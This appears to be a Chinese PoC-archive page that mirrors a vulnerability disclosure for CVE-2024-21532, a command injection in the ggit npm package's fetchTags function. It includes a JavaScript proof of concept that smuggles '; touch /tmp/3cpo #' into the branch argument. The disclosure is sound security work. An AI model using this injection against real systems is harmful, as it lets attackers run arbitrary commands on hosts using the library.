目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%

CVE-2024-21532 PoC — ggit 安全漏洞

来源
关联漏洞
标题: ggit 安全漏洞 (CVE-2024-21532)
Description:ggit是Gleb Bahmutov个人开发者的一个工具。 ggit存在安全漏洞,该漏洞源于允许用户输入要获取的分支,容易受到命令注入攻击。
Description
CVE-2024-21532 PoC ggit
介绍
# CVE-2024-21532 Command Injection vulnerability in ggit

`ggit` describes itself as:

```
Local promise-returning git command wrappers
```

Resources: 
 * Project's GitHub source code: https://github.com/bahmutov/ggit
 * Project's npm package: https://www.npmjs.com/package/ggit

Article write-up on this vulnerability: https://nodejs-security.com/blog/flawed-git-promises-library-on-npm-leads-to-command-injection-vulnerability

## Background on exploitation

I'm reporting a Command Injection vulnerability in `ggit` npm package.

This vulnerability manifests with the library's `fetchTags(branch)` API,
which allows user input to specify the branch to be fetched and then concatenates
this string along with a git command which is then passed to the unsafe `exec()`
Node.js child process API.

## Exploit

1. Install `ggit@2.4.12` or earlier
2. Establish the following POC:

```js
const fetchTags = require("ggit").fetchTags;
fetchTags("; touch /tmp/3cpo #").then(function () {
  // should be same as running command
  // git pull origin --tags
  console.log("done");
});
```

3. Observe new file created on disk at `/tmp/3cpo`

# Author

Liran Tal
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →